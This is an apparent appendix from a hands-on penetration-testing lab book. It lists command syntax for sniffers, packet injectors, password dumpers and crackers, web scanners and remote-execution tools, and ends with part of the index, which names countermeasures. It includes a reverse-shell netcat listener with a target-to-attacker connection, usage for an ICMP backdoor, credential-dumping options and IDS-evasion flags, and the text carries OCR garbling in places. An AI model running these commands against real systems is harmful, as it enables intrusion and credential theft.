Chapter 5 (continued)	WinDump IPDump2	 When writing to a file with the -w option, report every 10 seconds, the number of packets captured. -vv Even more verbose output. For example, additional fields are printed from NFS reply packets, and SMB packets are fully decoded. -vvv Even more verbose output. For example, telnet SB SE options are printed in full. With -X Telnet options are printed in hex as well. -w Write the raw packets to <i>file</i> rather than parsing and printing them out. They can later be printed with the -r option. Standard output is used if <i>file</i> is "" -W Used in conjunction with the -C option, this will limit the number of files created to the specified number, and begin overwriting files from the beginning, thus creating a "rotating" buffer. In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort correctly. -x Print each packet (minus its link level header) in hex. The smaller the entire packet or <i>snaplen</i> bytes will be printed. Note that this is the entire link-layer packet, so for link layers that pad (e.g., Ethernet), the padding bytes will also be printed when the higher layer packet is shorter than the required padding. -xx Print each packet, <i>including</i> its link level header, in hex. -X Print each packet, <i>including</i> its link level header, in hex. -X Print each packet, <i>including</i> its link level header, in hex. -X Print each packet, <i>including</i> its link level header, in hex and ASCII. This is very handy for analyzing new protocols. -XX Print each packet, <i>including</i> its link level header, in hex and ASCII. -y Set the data link type to use while capturing packets to <i>datalinktype</i>. -Z Drops privileges (if root) and changes user ID to <i>user</i> and the group ID to the primary group of <i>user</i>. This behavior can also be enabled by default at compile time. ipdump2 <interface></interface> On Linux, interface can be eth0, pp0, etc.
	ZxSniffer	Svntax options within the GUI.
	Sniffit	/sniffit <sniffit host=""></sniffit>
	Jinnt	·/ SHITTIC \SHITTIC HOSC/

Chapter	Tool	Syntax
Chapter 6	RafaleX	Syntax options within the Graphical User Interface (GUI).
	SMAC	Syntax options within the GUI.
	Linux	Usage: ifconfig [-a] [-i] [-v] [-s] <interface> [[<af>] <address>]</address></af></interface>
		<pre>[add <address>[/<prefixlen>]] [del <address>[/<prefixlen>]] [[-]broadcast [<address>]] [[-]pointopoint [<address>]] [netmask <address>] [dstaddr <address>] [tunnel <address>]</address></address></address></address></address></prefixlen></address></prefixlen></address></pre>
		[outfill <nn>] [keepalive <nn>] [hw <hw> <address>] [metric <nn>] [mtu</nn></address></hw></nn></nn>
		[[-]trailers] [[-]arp] [[-]allmulti] [multicast] [[-]promisc]
		[mem_start <nn>] [10_addr <nn>] [1rq <nn>] [media <type>]</type></nn></nn></nn>
		[txqueuelen <nn>]</nn>
		[[-]dynamic]
		[up down]
		<hw>=Hardware Type List of possible bardware types:</hw>
		loop (Local Loopback) slip (Serial Line IP) cslip (VJ Serial Line IP)
		slip6 (6-bit Serial Line IP) cslip6 (VJ 6-bit Serial Line IP) adaptive (Adaptive Serial Line IP)
		strip (Metricom Starmode IP) ash (Ash) ether (Ethernet) tr (16/4 Mbps Token Ring) tr (16/4 Mbps Token Ring (New)) ax25 (AMPR AX.25)
		netrom (AMPR NET/ROM) rose (AMPR ROSE) tunnel (IPIP Tunnel)
		ppp (Point-to-Point Protocol) hdlc ((Cisco)-HDLC) lapb (LAPB)
		arcnet (ARCnet) dlci (Frame Relay DLCI) frad (Frame Relay Access Device)
		sit (IPv6-in-IPv4) fddi (Fiber Distributed Data Interface) hippi (HIPPI)

Chapter	Tool	Syntax
Chapter 6 (continued)	Linux	irda (IrLAP) ec (Econet) x25 (generic X.25) <af>=Address family. Default: inet List of possible address families: unix (UNIX Domain) inet (DARPA Internet) inet6 (IPv6)</af>
		ax25 (AMPR AX.25) netrom (AMPR NET/ROM) rose (AMPR ROSE) ipx (Novell IPX) ddp (Appletalk DDP) ec (Econet) ash (Ash) x25 (CCITT X.25)
	Packit	Packet capture: packit -m capture [-cGHnvsX] [-i interface] [-r -w file] expression Packet injection:
		packit -m inject [-t <i>protocol</i>] [- aAbcCdDeFgGhHjJkKlLmMnNoOpPqQrRsSTuUvw- WxXyYzZ] [-i <i>interface</i>]
		 -m mode Select a runtime mode. Currently supported modes are capture, inject, and trace. The default is inject. <i>Packet capture options are as follows:</i> -c count Specify the number of packets to capture. -e Display link-layer header data. -G Display the timestamp in GMT rather than localtime
		-i <i>interface</i> Listen on <i>interface</i> . If unspecified, packit will use the lowest numbered device in the "up" state (excluding loopback).
		 -n Do not resolve host addresses to names but resolve port numbers. Disables DNS lookups. -nn Do not resolve ports numbers to their protocol
		 names but resolve host addresses. -nnn Do not resolve host addresses or port numbers. -r file Read packet data from tcpdump formatted binary log file. (Example: a file created with -w)
		-s snaplen Read snaplen bytes of data from each packet rather than the default of 68.
		 -w file Write the raw packets to file rather than displaying time to stderr. X Display have desiral and ASCII dump of each packet
		 A Display nexadecimal and ASCII dump of each packet up to snap length bytes. <i>expression</i> selects which packets should be displayed. If no <i>expression</i> is given, all packets are displayed. See the <i>tcpdump</i>(1) man page for more detailed information.
Chapter	Tool	Syntax
--------------------------	--------	---
Chapter 6 (continued)	Packit	-t protocol Specify the type of packet to inject. Supported values are: ARP, TCP, UDP, and ICMP. This option defaults to TCP in inject mode and ICMP in trace mode. This section documents the operational command-line options:
		-c count The value of count is the total number of packets we would like to inject (a count value of 0 means forever).
		-w <i>interval</i> The number of seconds to wait between sending each packet burst (default: 1).
		-b burst rate Specifies the number of packets to inject every interval (defined by -w). (A burst rate of 0 will send packets as quickly as possible.)
		-h Host response mode. Enabling this option will print any packet you inject and then wait (see -H for timeout) to see if the remote host responds.
		-H <i>timeout</i> Specify the timeout value (in seconds) to use with -h . This value defaults to 1 second.
		-i <i>interface</i> Specify the interface to transmit from, if the machine has multiple interfaces.
		-v Verbose injection mode. Displays each packet you inject. It also has the same effect as in capture mode while used with the -h option.
		-p payload This option defines the payload portion of the header. Hex payload should be prefixed with 0x with each value separated by a white space. ASCII Example: -p 'hello, this is my packet' Hex Example: -p '0x 70 61 63 6B 69 74'.
		 -w <i>interval</i> Specify the number of seconds to wait between packet bursts. This value defaults to 1 second. -Z <i>length</i> Specify the size of the packet(s) to inject. (Max: 65535)
		This section documents the IP header command-line
		-s src address The IP address the packet will appear to come from. If unspecified, packit will default to the IP address of the lowest numbered device in the up state (excluding loopback).
		 -sR Use a random source IP address. -d dst address The IP address of the machine you would like to contact. -dR Use a random destination IP address.

Chapter	Tool	Syntax
Chapter 6 (continued)	Packit	 -o type of service TOS values are typically in the hexadecimal format, however, packit only accepts TOS values as integers. Below are the four valid TOS bit values:
		- Minimize delay: 16 (0x10)
		- Maximize throughput: 8 (0x08)
		- Maximize reliability: 4 (0x04)
		- Minimize monetary cost: 2 (0x02)
		-n <i>ID number</i> The ID number is used to identify each datagram sent by a host. It generally increments by 1 with each datagram sent. This value is random by default.
		 -T <i>TTL</i> The TTL value defines the upper limit on the number of devices through which the datagram may pass to reach its destination. The default value is 128. -V <i>IP</i> protocol number Specify the IP protocol associated
		with this packet (RAWIP only). The default value is 255.
		This section documents the TCP header command-line options:
		-S src port The port from which our source address is communicating. This value is random by default.
		-D dst port The port on the destination we would like to communicate on. In inject mode this value is 0 by default while in trace mode this value is random by default. You may also specify a range of addresses in the format: -D 1:1024
		-f Do not fragment this packet
		-F tcp flags There are six TCP header flag bits. They can be used in combination with one another and are specified using the following identifiers:
		- S : SYN (Synchronization sequence number) - E : FIN (Sender is finished)
		 - A : ACK (Acknowledgment number is valid) - P : PSH (Receiver should push this data to the remote host)
		- U : URG (The urgent pointer is valid) - R : RST (Reset this connection)
		As an example, to set the SYN and FIN bits use the
		nonowing For a sequence number The sequence number is a 32-bit
		unsigned (positive) number used to identify the byte in a stream of data from the sending TCP to the
		receiving TCP that the first byte of data represents.

Chapter	Tool	Syntax
Chapter 6 (continued)	Packit	 a ack number The acknowledgment (ACK) number defines the next sequence number that the sender of the ACK expects to see. It is typically the sequence number + 1 during valid TCP communication. It is a 32-bit unsigned (positive) number. -W window size The window size provides flow control. It is a 16-bit number that defines how many bytes the receiver is willing to accept. The default value is 1500. -u urgent pointer In valid TCP communication, the urgent pointer is only useful if the URG flag is set. Used with the sequence number, it points to the last byte of urgent data. This section documents the UDP header command-line options. UDP is the default IP protocol for TRACE mode. -S src port The port from which our source address is communicating. This value is random by default. -D dst port The port on the destination we would like to communicate on. In inject mode this value is 0 by default while in trace mode this value is random by default. You may also specify a range of addresses in the format: -D 1:1024. This section documents the ICMP header command-line options: -K type Specify the ICMP type. See docs/ICMP.txt for details on types. -C code Specify the ICMP type. See docs/ICMP.txt for details on codes. Echo Request/Echo Reply options: -N id number Define the 16-bit ICMP identification number. This value is random by default. -Q sequence number Define the 16-bit ICMP sequence number. This value is random by default. -Q sequence number Define the 36-bit ICMP redirects (type 5). -j address Define the source address of the original packet. - I ddress Define the destination address of the original packet. - L dst port Define the destination port of the original packet. - L dst port Define the destination port of the original packet.

Chapter	Tool	Syntax
Chapter 6 (continued	Packit	M <i>id</i> Define the IP ID of the original packet. This option defaults to random.
(,	-O type of service Define the Type of Service of the
		original packet. See the -o option for the possible values
		-P <i>protocol</i> Define the protocol of the original packet. This option defaults to UDP
		Mask Request/Mask Reply options:
		-N <i>id number</i> Define the 16-bit ICMP identification
		number. This value is random by default.
		-Q sequence number Define the 16-bit ICMP sequence
		number. This value is random by default.
		-G address mask Define the address network mask. The
		default value for this option is:255.255.255.0.
		Timestamp Request/Timestamp Reply options:
		-N id number Define the 16-bit ICMP identification
		number. This value is random by default.
		-Q sequence number Define the 16-bit ICMP sequence
		number. This value is random by default.
		-U original timestamp Define the 32-bit original
		timestamp. This value is 0 by default.
		-k received timestamp Define the 32-bit received
		timestamp. This value is 0 by default.
		timestamp. This value is 0 by default
		Packit only supports ARP protocol addresses in IPv4
		format
		-A operation type Define the ARP/RARP/IRARP operation
		type. The valid options are as follows:
		- 1 : ARP Request
		- 2 : ARP Reply
		- 3 : Reverse ARP Request
		- 4 : Reverse ARP Reply
		- 5 : Inverse ARP Request
		- 6 : Inverse ARP Reply
		-y target IP address The IP address of the target host.
		-yR Use a random target host IP address.
		-Y target Ethernet address The Ethernet (hardware)
		address of the target host.
		-YR Use a random target host Ethernet address.
		-x sender IP address The IP address of the sender host.
		-xK Use a random sender host IP address.
		-X sender Ethernet address The Ethernet (hardware) address of the sender host.

Chapter	Tool	Syntax
Chapter 6 (continued)	Packit	 -XR Use a random sender host Ethernet address. This section documents the Ethernet header command- line options: -e src Ethernet address The Ethernet (hardware) address the packet will appear to come from. -eR Use a random source Ethernet address. If you define this, you will most likely need to define the destination Ethernet header value as well. When using either -e or -E, you enable the link-level packet injection and the destination cannot be auto-defined while injecting in this manner. -E dst Ethernet address The Ethernet (hardware) of the next routable interface the packet will cross while making its way to the destination. -ER Use a random destination Ethernet address. The following two rules should be followed if you actually want the destination to receive the packets you are sending: 1) If the destination exists beyond your default route (gateway), the destination Ethernet address. This can typically be found by using the arp(8) command. 2) If the destination exists on your subnet, the destination Ethernet address should be set to its Ethernet address. This can typically be found by using the arp command. 10 print all TCP communications that do not revolve around SSH (port 22): packit -m cap 'tcp and not port 22.' To print the start and end packets (the SYN and FIN pack- ets) of each TCP conversation that involves a nonlocal host, do not resolve addresses and display a hex/ascii dump of the packet. packit -m cap -nX 'tcp[tcpflags] & (tcp-syn tcp-fin) != 0 and not src and dst net localnet.' To write the first 10 ICMP packets captured to a file: packit -m cap -c 10 -w /tmp/mylog 'icmp.'
	VMware	Syntax sets the MAC address. Refer to Lab 52.
Chapter 7	NETWOX/ NETWAG	<pre>netwox number [parameters] netwox numberhelp netwox numberhelp2 netwox NETWOX provides a step-by-step interactive session.</pre>

Chapter	Tool	Syntax
Chapter 7 (continued)	FGDump	Usage: fgdump [-t][-c][-w][-s][-r][-v][-k] [-l logfile] {-h Host -f filename} Options:
		 -u Username. -p Password where username and password have Administrator credentials. -t Will test for the presence of antivirus without actually running the password dumps. -c Forces fgdump to skip the cache dump. -w Forces fgdump to skip the password dump. -s Forces fgdump to skip the LSA secrets dump. -r Makes fgdump forget about existing pwdump/cachedump files. The default behavior is to skip a host if these files already exist. -v Makes output more verbose. Use twice for greater effect. -k Keeps the pwdump/cachedump going even if antivirus is in an unknown state. -I Logs all output to logfile. -h The name of the single host to perform the dumps against. -f Reads hosts from a line-separated file.
	LC5	Syntax options within the Graphical User Interface (GUI).
	CHNTPW	All syntax is interactive.
	John the Ripper	To run John, you need to supply it with some password files and optionally specify a cracking mode, such as, using the default order of modes, and assuming that the password is a copy of your password file: john passwd
		Or, to make it use a wordlist with rules only: john -wordfile:/usr/dict/words - rules passwd Cracked passwords will be printed to the terminal and saved in a file called ~/john.pot (in this text ~ means John's home directory, that is, the directory you installed John's binary in).

Chapter	Tool	Syntax
Chapter 7 (continued)	John the Ripper	This file is also used to load passwords that you already cracked, when you run John the next time. To retrieve the cracked passwords, run
		john -show passwd
		While cracking, you can press any key for status, or press Ctrl+C to abort the session, saving point information to a file (~/restore by default). By the way, if you press Ctrl+C twice John will abort immediately without saving. The point information is also saved every 10 minutes (configurable in the configuration file, ~/john.ini) in case of a crash.
		ichn _rostoro
		Anyway, you probably should have a look at doc/OPTIONS for a list of all the command line options, and at doc/EXAMPLES for more John usage examples with other cracking modes.
		You can list any number of password files on John's command line, and also specify some of the following options (all of them are case sensitive, but can be abbreviated; you can also use the GNU-style long options syntax):
		-single "single crack" mode Enables the "single crack" mode, using rules from [List.Rules:Single].
		-wordfile:FILE wordlist mode Read words from FILE, -stdin, or stdin.
		These options are used to enable the wordlist mode: -rules enable rules for wordlist mode Enables wordlist rules that are read from [] ist Rules:Wordlist]
		 -incremental[:MODE] incremental mode [using section MODE] Enables the incremental mode, using the specified ~/john.ini definition (section [Incremental:MODE], or [Incremental:All] by default). -external:MODE external mode or word filter Enables an
		external mode, using external functions defined in ~/john.ini's [List.External:MODE] section.
		When used with a cracking mode, except for "single crack", makes John print the words it generates to stdout instead of cracking. While applying wordlist rules, the significant password length is assumed to be LENGTH, or unlimited by default.

Chapter	Tool	Syntax
Chapter 7 (continued)	John the Ripper	 -restore[:FILE] restore an interrupted session Continues an interrupted cracking session, reading point information from the specified file (-/restore by default). -session:FILE set session file name to FILE Allows you to specify another point information file's name to use for this cracking session. This is useful for running multiple instances of John in parallel, or just to be able to recover an older session later, not always to continue the latest one. -status[:FILE] print status of a session [from FILE] Prints status of an interrupted or running session. To get up-to-date status information of a detached running session, send that copy of John a SIGHUP before using this option. -makechars:FILE make a charset, overwriting FILE Generates a charset file, based on character frequencies from ~/john.pot, for use with the incremental mode. The entire ~/john.pot will be used for the charset file unless you specify some password files. You can also use an external filter() routine with this option. -show show cracked passwords Shows the cracked passwords in a convenient form. You should also specify the password files. You can use this option while another John is cracking, to see what it did so far. -test perform a benchmark Benchmarks all the enabled ciphertext format crackers, and tests them for correct operation at the same time. -users:[-]LOGIN[UID[] load this (these) user(s) only Allows you to filter a few accounts for cracking, etc. A dash before the list can be used to invert the check (that is, load all the users that are not listed). -groups:[-]GID[] load this (these) shell(s) only This option is useful to load accounts with a valid shell only, or not to load accounts with a bad shell. You can omit the path before a shell name, so "-shells:csh" will match both "/bin/csh" and "/usr/bin/csh", while
		 -groups:[-]GID[,] load this (these) group(s) only Tells John to load users of the specified group(s) only. -shells:[-]SHELL[,] load this (these) shell(s) only This option is useful to load accounts with a valid shell only or not to load accounts with a bad shell. You can omit the path before a shell name, so "-shells:csh" will match both "/bin/csh" and "/usr/bin/csh", while "-shells:/bin/csh" will only match "/bin/csh."

Chapter	Tool	Syntax
Chapter 7 (continued)	John the Ripper	 -salts:[-]COUNT set a passwords per salt limit This feature sometimes allows you to achieve better performance. For example you can crack only some salts using "-salts:2" faster, and then crack the rest using "-salts:-2." Total cracking time will be about the same, but you will get some passwords cracked earlier. -format:NAME force ciphertext format NAME Allows you to override the ciphertext format detection. Currently, valid format names are DES, BSDI, MD5, BF, AFS, LM. You can use this option when cracking or with "-test." Note that John cannot crack password files with different ciphertext formats at the same time. -savemem:LEVEL enable memory saving, at LEVEL 13 You might need this option if you do not have enough memory, or do not want John to affect other processes too much. Level 1 tells John not to waste memory on login names, so you will not see them while cracking. Higher levels have a performance impact: you should probably avoid using them unless John does not work or gets into swap otherwise. Additional utilities: There are some utilities in John's run directory:
		unshadow PASSWORD-FILE SHADOW-FILE Combines the password and shadow files (when you already have access to both) for use with John. You might need this because if you only used your shadow file, the GECOS information would not be used by the "single crack" mode, and also you would not be able to use the -shells option. You will usually want to redirect the output of unshadow to a file
		 unafs DATABASE-FILE CELL-NAME Gets password hashes out of the binary AFS database, and produces a file usable by John (again, you should redirect the output yourself). unique OUTPUT-FILE Removes duplicates from a wordlist (read from stdin), without changing the order. You might want to use this with John's -stdout option, if you have a lot of disk space to trade for the reduced cracking time. mailer PASSWORD-FILE A shell script to send mail to all the users who have weak passwords. You should edit the message inside before using.
	BruteFTP	Syntax options within the Graphical User Interface (GUI).
	TSGrinder II	Syntax options within the GUI.

Chapter	Tool	Syntax
Chapter 8	SAINT	Syntax options within the Graphical User Interface (GUI).
	NETWOX/ NETWAG	See above.
	Solar Winds	Syntax options within the GUI.
	Retina	Syntax options within the GUI.
	X-Scan	Syntax options within the GUI.
	SARA	Syntax options within the GUI.
	N-Stealth	Syntax options within the GUI.
	Pluto	Syntax options within the GUI.
	Metasploit	Please use Lab 68 for proper use of this tool.
	Nikto	nikto [-h target] [options] The options listed here are all optional and all can be abbreviated to the first letter (i.e., -m for -mutate), with the exception of -verbose and -debug. -allcgi Force scan of all possible CGI directories defined in the config.txt value CGIDIRS, regardless of whether or not they exist. -cookies Print out the cookie names and values that were received during the scan. -evasion <evasion method=""> IDS evasion techniques. This enables the intrusion detection evasion in LibWhisker. Multiple options can be used by stringing the numbers together, i.e., to enable methods 1 and 5, use -e 15. The valid options are (use the number preceeding each description): 1 Random URI encoding (non-UTF8) 2 Add directory self-reference /./ 3 Premature URL ending 4 Prepend long random string to request 5 Fake parameters to files 6 Tab as request spacer instead of spaces 7 Random case sensitivity 8 Use Windows directory separator instead of / 9 Session splicing See the LibWhisker source for more information, or http://www.wiretrip.net/</evasion>

Chapter	Tool	Syntax
Chapter 8 (continued)	Nikto	 -findonly Use port scan to find valid HTTP and HTTPS ports only, but do not perform checks against them. -Format Output format for the file specified with the -output option. Valid formats are: <i>HTM</i> HTML output format. <i>TXT</i> Text output format. This is the default if -F is not specified. <i>CSV</i> Comma-Separated Value format. -generic Force full scan rather than trusting the "Server:" identification string, as many servers allow this to be changed. -host <ip, file="" hostname="" or=""> Target host(s) to check against. This can be an IP address or hostname, or a file of IPs or hostnames. If this argument is a file, it should be formatted as described below. This is the only required option.</ip,> -id <user:password:realm> HTTP Authentication use, format is userid:password for authorizing Nikto to a Web server realm. For NTLM realms, the format is id:password:realm.</user:password:realm> -mutate Mutate checks. This causes Nikto put all files with all directories from the db files and can the host
		With all directories from the .db files and can the host. You might find some oddities this way. Note that it generates a lot of checks.
		 -nolookup Do not perform a nostname lookup. -output <filename> Write output to this file when complete. Format is text unless specified via -Format.</filename> -port <port number=""> Port number to scan; defaults to port 80 if missing. This can also be a range or list of ports, which Nikto will check for Web servers. If a Web server is found, it will perform a full scan unless the -f</port>
		 -root Always prepend this to requests, i.e., changes a request of "/password.txt" to "/directory/password.txt" (assuming the value passed on the CLI was "/directory").
		 -ssl Force SSL mode on port(s) listed. Note that Nikto attempts to determine if a port is HTTP or HTTPS automatically, but this can be slow if the server fails to respond or is slow to respond to the incorrect one. This sets SSL usage for *all* hosts and ports. -timeout Timeout for each request; default is 10 seconds. -useproxy Use the proxy defined in config.txt for all requests.
		-vhost <ip hostname="" or=""> Virtual host to use for the "Host:" header, in case it is different from the <i>target</i>.</ip>

Chapter	Tool	Syntax
Chapter 8 (continued)	Nikto	 -Version Print version numbers of Nikto, all plugins, and all databases. These options cannot be abbreviated to the first letter: -dbcheck This option will check the syntax of the checks in the scan_database.db and user_scan_database.db files. This is really only useful if you are adding checks or are having problems. -debug Print a huge amount of detail out. In most cases this is going to be more information than you need, so try -verbose first. -update This will connect to cirt.net and download updated scan_database.db and plugin files. Use this with caution as you are downloading files — perhaps including code — from an "untrusted" source. This option cannot be combined with any other, but required variables (like the PROXY settings) will be loaded from the config.txt file. -verbose Print out a lot of extra data during a run. This can be useful if a scan or server is failing, or to see exactly how a server responds to each request.
	Shadow Scanner	Syntax options within the GUI.
	Cerberus	Syntax options within the GUI.
	AutoScan	Syntax options within the GUI.
	Fake Lock Screen XP Login	Syntax for this application is performed through editing included text files.
	RockXP	Syntax options within the GUI.
	WHCC Scan	Syntax options within the GUI.
Chapter 9	NetStumbler	Syntax options within the GUI.
	Back Orifice	Syntax options within the GUI.
	NetBus	Syntax options within the GUI.
	Sneaky- Sneaky	Usage: Before you compile you should set your own session_id in config.h! To install the server just type

Chapter	Tool	Syntax
Chapter 9 (continued)	Sneaky- Sneaky	<pre>make server and run ./ibd-server <icmpcode>. <icmpcode> is the code that is used by the server to send packets. For possible codes look below. To install the client, type make client and run ./ibd-client <host> <icmpcode>; <host> is the host to connect to; for <icmpcode>, see above. Do not use interactive programs like vi, pine, etc., with this backdoor because it does not create a streaming connection. Possible icmpcodes:</icmpcode></host></icmpcode></host></icmpcode></icmpcode></pre>
		0 Echo Reply 5 Redirect 8 Echo Request 9 Router advertisement 10 Router solicitation 13 Timestamp request 14 Timestamp reply 15 Information request 16 Information reply 17 AddressMask request 18 AdressMask reply
	Streaming Files	<pre>To stream: cp <file stream="" to=""><file stream<br="" to="">into:file to stream> To unstream: cp <file into="" streamed=""><file streamed:file<br="">streamed into></file></file></file></file></pre>
	Ettercap	Syntax options within the GUI.
	Dsniff	<pre>dsniff [-c] [-d] [-m] [-n] [-i interface] [-s snaplen] [-f services] [-t trigger[,]]] [-r -w savefile] [expression] Options: -c Perform half-duplex TCP stream reassembly to handle asymmetrically routed traffic (such as when using arpspoof(8) to intercept client traffic bound for the local gateway).</pre>

Chapter	Tool	Syntax
Chapter 9 (continued)	Dsniff	 -d Enable debugging mode. -m Enable automatic protocol detection. -n Do not resolve IP addresses to hostnames. -i interface Specify the interface to listen on. -s snaplen Analyze at most the first snaplen bytes of each TCP connection, rather than the default of 1024. -f services Load triggers from a services file. -t trigger[,] Load triggers from a comma-separated list, specified as port/proto=service (e.g., 80/tcp=http). -r savefile Read sniffed sessions from a savefile created with the -w option. -w file Write sniffed sessions to savefile rather than parsing and printing them out. expression Specify a tcpdump(8) filter expression to select traffic to sniff.
	Achilles	Syntax options within the GUI.
	Netcat	See above.
	Reverse Shell	Open a listening netcat session on the attacker's computer: nc -1 -n -v -p 8080 Initiate the connection to the attacker from the target computer: rx <attacker address="" ip=""></attacker>
Chapter 10	PortMapper	Syntax options within the GUI.
	Elitewrap	elitewrap.exe [scriptfile] Syntax options within the GUI.
	Fpipe	 FPipe [-hvu?] [-lrs <port>] [-i IP] IP</port> Options: -?/-h Shows this help text. -c Maximum allowed simultaneous TCP connections. Default is 32. -i Listening interface IP address. -I Listening port number. -r Remote port number. -s Outbound source port number. -u UDP mode. -v Verbose mode.

Chapter	Tool	Syntax
Chapter 10 (continued)	Fpipe	Example: fpipe -1 53 -s 53 -r 80 192.168.1.101 This would set the program to listen for connections on port 53 and when a local connection is detected, a further connection will be made to port 80 of the remote machine at 192.168.1.101 with the source port for that outbound connection being set to 53 also. Data sent to and from the connected machines will be
	PsExec	<pre>passed through. Usage: psexec [\\computer[,computer[,] @file] [-u user [-p psswd]][-n s][-s]-e][-i][-c [-f]-v]][-d][-w directory][-<priority>] [-a n.n] cmd [arguments]</priority></pre>
		 Options: computer Direct PsExec to run the application on the computer or computers specified. If you omit the computer name, PsExec runs the application on the local system and if you enter a computer name of "*" PsExec runs the applications on all computers in the current domain. @file Directs PsExec to run the command on each computer listed in the text file specified. -a Separate processors on which the application can run with commas where 1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter: -a 2,4. -c Copy the specified program to the remote system for
		 execution. If you omit this option then the application must be in the system's path on the remote system. -d Do not wait for the application to terminate. Only use this option for non-interactive applications. -e Loads the specified account's profile. -f Copy the specified program to the remote system even if the file already exists on the remote system. -i Run the program so that it interacts with the desktop on the remote system. -n Specifies timeout in seconds connecting to remote computers.

Chapter	Tool	Syntax
Chapter 10 (continued)	PsExec	 -p Specifies optional password for username. If you omit this you will be prompted to enter a hidden password. -s Run remote process in the System account. -u Specifies optional username for login to remote computer. -v Copy the specified file only if it has a higher version number or is newer on than the one on the remote system. -w Set the working directory of the process (relative to the remote computer). -priority Specifies -low, -belownormal, -abovenormal, -high or -realtime to run the process at a different priority. Program Name of the program to execute. Arguments Arguments to pass (note that file paths must be abactute paths on the system)
	TCP Relay	<pre>netwox number [parameters] netwox numberhelp netwox numberhelp2 netwox NETWOX provides a step-by-step interactive session.</pre>
Chapter 11	RafaleX	Syntax options within the GUI.
	Trash2.c	Usage: ./trash2 [dest_ip] [# of packets] [*] [ip dest] Example: 10.10.10.10. [*] {number] Example: 100.

Index

A

Achilles, 574-587 configure Web browser, 576-578 how it works, 574 launch application, 578-584 launch WebGoat, 574-575 manipulate data in real-time, 585-587 syntax, 721 ACK (Acknowledge), and three-way handshakes, 265 ACLs (access control lists), as countermeasure, 596 Back Orifice, 519 DoS (Denial-of-Service) land attacks, 645, 650 DoS smurf attack, 650 DoS SYN(Synchronize) attack, 650 DoS UDP(User Datagram Protocol) flood attack, 660 Fpipe, 627 Metasploit, 429 NetBus, 534 NETWOX/NETWAG, 638 Nikto, 451 NULL session, 89 PortMapper, 605 Retina, 392 SAINT, 359 Sniffit, 249 Solar Winds, 386 SuperScan, 163-165 TSGrinder II, 354 WHAX, 474

WHCC, 507 X-Scan, 397 ActivePerl, for Nikto, 452-453 AddUser screen, Red Hat Linux, 50 ADM Gates, 189-191, 697 Administrator passwords changing with CHNTPW, see CHNTPW (Change NT Password) as countermeasure for FGDump, 309 for John the Ripper, 337 for LC5, 313 Fake Lock Screen XP grabbing, 491-498 installing Windows 2000 virtual Workstation, 23, 28 Amap banner identification, 79-83 reference for, 671 syntax, 678 Angry IP Scanner checking unsecured home computers, 518 locating open ports with, 147-150 syntax, 694 Antivirus, as countermeasure Back Orifice, 519 Elitewrap, 618 NetBus, 519 Reverse Shell, 596, 601-602 Applications, executing hidden. see Elitewrap ARP (Address Resolution Protocol) poisoning, Ettercap, 562-563 ARROW keys, 49 Audit checks, Pluto, 427

Autopartition, Red Hat Linux, 43–44 AutoScan, 482–490, 719

B

Back Orifice, see BO (Back Orifice) Banner alteration, as countermeasure, 109, 117 Banner identification, 63-86 amap, 79-83 banner.c, 84-85 netcat, 67-72 references, 671 Scanline, 73-74 social engineering and, 86 Telnet, 65-66 tool syntax, 675-678 Xprobe 2, 75-78 Banner.c banner identification, 84-86 reference for, 671 syntax, 671 Bastion computers, as countermeasure netcat, 588 Nikto, 451 Retina, 392 Solar Winds, 386 WHAX, 474 WHCC, 507 X-Scan, 397 Bastion servers/workstations, as countermeasure Back Orifice, 519 CGI (Common Gateway Interface) Scanner, 171-177 DoS (Denial-of-Service) and attack, 645 DoS smurf attack, 650 DoS SYN (Synchronize) attack, 650 DoS UDP (User Datagram Protocol) flood attack, 660 Hydra, 178-186 Metasploit, 429 NetBus, 534 NETWOX/NETWAG, 301 PsExec, 633 SAINT, 359 Sniffit, 249 SuperScan, 163-165 WGateScan, 187-191 Beenhacked directory, 177 Berkley Packet Filter (BPF), and ngrep, 213 BO (Back Orifice), 519-533 on attacker's computer, 528-533 how it works, 519 installing remotely, 533 syntax, 719 on target (server), 519-528

Boot Disk screen, Red Hat Version 8, 52 Boot Loader configuration, Red Hat Version 8, 45-47 BPF, see Berkley Packet Filter, and ngrep Brute force, 299-356 BruteFTP (File Transfer Protocol), 346-353 brute-force FTP password connection with, 346 execute, 353 install, 346-350 select target, 351-352 CHNTPW, 325-336 boot from CD, 326-328 change password, 331-334 changing administrator password with, 325 follow on-screen instructions, 328-330 gain physical access to computer, 325-326 reboot, 335-336 FGDump, 309-312 John the Ripper, 337-345 brute-force passwords with, 337 configure, 337 execute, 342-345 LC5, 313-324 cracking password hashes with, 313 execute, 319-324 install, 313-315 select parameters, 316-319 start, 316 NETWOX/NETWAG, 299-303 TSGrinder II, 354-356 BruteFTP, 346-353 brute force FTP password with, 347 execute, 353 install, 346-350 select target, 351-352 syntax, 716

С

Case sensitivity, of Linux, 59 CD-ROMs accompanying book, 60 disabling autorun, 6 installing virtual Red Hat Version 8, 39 installing virtual Windows 2000, 15 Cerberus, 468–473, 719 CERT (Certification), 359 CGI (Common Gateway Interface) Scanner, 171–177 entering target IP address, 172 how it works, 171 running, 173–177 starting, 171–172 syntax, 696 Chargen (character generator service), 74 CHNTPW (Change NT Password), 325–336 boot from CD, 326–328 change password, 331–334 gain physical access to computer, 325–326 how it works, 325 on-screen instructions, 328–330 reboot, 335–336 CIAC, *see* Computer Incident Advisory Centre Computer Incident Advisory Centre (CIAC), 359 Connectivity, detecting target, 105–106 Cryptcat, 161 Ctrl/Alt keys, 29–30, 55–56

D

Date & Time settings, Windows 2000, 24 Daytime protocol, 74 Default Shares, disabling, 135-138, 694 Denial of service, see DoS (Denial-of-Service) Disable Default Shares, 135-138, 694 Disk size, virtual machines, 14, 38 DNS (Domain Name System), 123 Domain Name System, see DNS DoS (Denial-of-Service), 643-669 land attack, 645-649 land attack - SYN attack, 655-659 smurf attack, 650-654 Trash2.c, 665-669 UDP flood attack, 660-664 using ports 13 and 19 for, 74 Dsniff, 573, 720-721 DUMPSEC, 98-101, 679-681

Ε

E-mails, and attackers, 222 ECHO countermeasure, Pathping, 107-108 Elitewrap, 618-626 how it works, 618 initiating listening netcat session, 622-626 initiating Telnet session, 595 outdated antivirus and, 601-602, 626 ports in use, 618-621 syntax, 721 Emulate 3 Buttons? command, 42 Encryption, as countermeasure Achilles, 574 Dsniff, 573 Ethereal, 195 Ettercap, 556 IPDump2, 234 ngrep, 213 Tcpdump, 223 WinDump, 230 ZxSniffer, 240

